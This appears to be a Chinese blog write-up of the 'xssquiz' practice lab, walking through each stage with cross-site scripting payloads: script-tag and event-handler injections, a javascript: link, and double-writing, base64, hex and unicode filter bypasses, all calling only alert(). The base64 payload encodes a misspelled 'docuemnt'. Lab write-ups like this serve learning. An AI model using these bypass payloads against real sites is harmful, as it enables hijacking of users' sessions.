• xssquiz 靶机全通关


    stage1

    随便提交一个参数 查看HTML 发现提交的参数被b标签所包裹  构造payload  

    </b><script>alert(document.domain)</script> 将b标签闭合

     提交得到域名

    stage2

    提交参数  继续考虑闭合 标签 

    构造payload   "><script>alert(document.domain);</script>

    也可以通过js事件引入 onmouseover="alert(document.domain)>

    onmouseover 事件会在鼠标指针移动到指定的元素上时发生。

     提交 成功得到域名

    stage 3

    随便提交数据 查看前段代码  发先还是b标签闭合

    </b><script>alert(document.domain)</script>
    提交 不成功
    这些payload被转化为字符串 所以是无效的

    抓包 修改p2参数

    构造payload

    </option><script>alert(document.domain)</script>

    stage 4

    修改hidden为text

     通过抓包才发现有三个参数被提交

    以下三种payload


    "><svg onload=alert(document.domain)>;
    " οnmοuseοver=alert(document.domain);
    "><script>alert(document.domain)</script>

     stage 5

    前端直接修改或者抓包绕过字数限制即可

     stage 6

    提交"><script>alert(document.domain)</script> 发现 < > 都被转义

    所以考虑通过事件

    123" οnmοuseοver="alert(document.domain)
     
     

     stage 7

    input 闭合查看源码

     发现被转化为字符串 js不能够被执行

    事件触发payload

    123" οnmοuseοver="alert(document.domain)

     将这payload这一部分去掉分析

    <input type="text" name="p1" size="50" value="value值 " "js事件 ">

    所以构造

    123 onmouseover=alert(document.domain)

      stage 8

     a标签插入 利用JavaScript伪协议

    javascript:alert(document.domain) 点击url就可执行js代码

    stage 9

    现在浏览器已经不支持

    stage 10

    http://xss-quiz.int21h.jp/stage00010.php?sid=1b96f5c206c187751811fb9267a02c109c7e1276

    domain被过滤掉了 双写绕过 123"><script>alert(document.dodomainmain);</script>

    或者编码绕过

    atob() 函数能够解码通过base-64编码的字符串数据。相反地,btoa() 函数能够从二进制数据“字符串”创建一个base-64编码的ASCII字符串。

    将alert(docuemnt.domain)进行base64编码

    最终payload应该为 "><script>eval(atob('YWxlcnQoZG9jdWVtbnQuZG9tYWluKQ=='));</script>

    stage11

    onmouseover被改为onxxx script被改为xscript

    空格绕过

    "><a href="java script:alert(document.domain);">xss</a>


    stage15

    16进双斜杠绕过

    对<>进行了转义 传入x3c x3e 发现/被过滤掉 传入双斜杠可以成功绕过

    payload 为

    \x3cscript\x3ealert(document.domain);\x3c/script\x3e

    stage16

    js不仅可以识别16进制也可以识别unicode码

    unicode双斜杠绕过

    和上一关差不多 只是用了unicode码

    \u003cscript\u003ealert(document.domain);\u003c/script\u003e

  • 相关阅读:
    Ubuntu 部署 nginx
    Arduino使用HC05蓝牙模块与手机连接
    Bootstrap 简介
    微信小程序新闻列表功能(读取文件、template模板使用)
    微信小程序编写新闻阅读列表
    编写第一个微信小程序界面
    微信小程序开发环境
    了解微信小程序
    jQuery 选择器
    jQuery API的特点
  • 原文地址:https://www.cnblogs.com/akger/p/14336066.html
Copyright © 2020-2023  润新知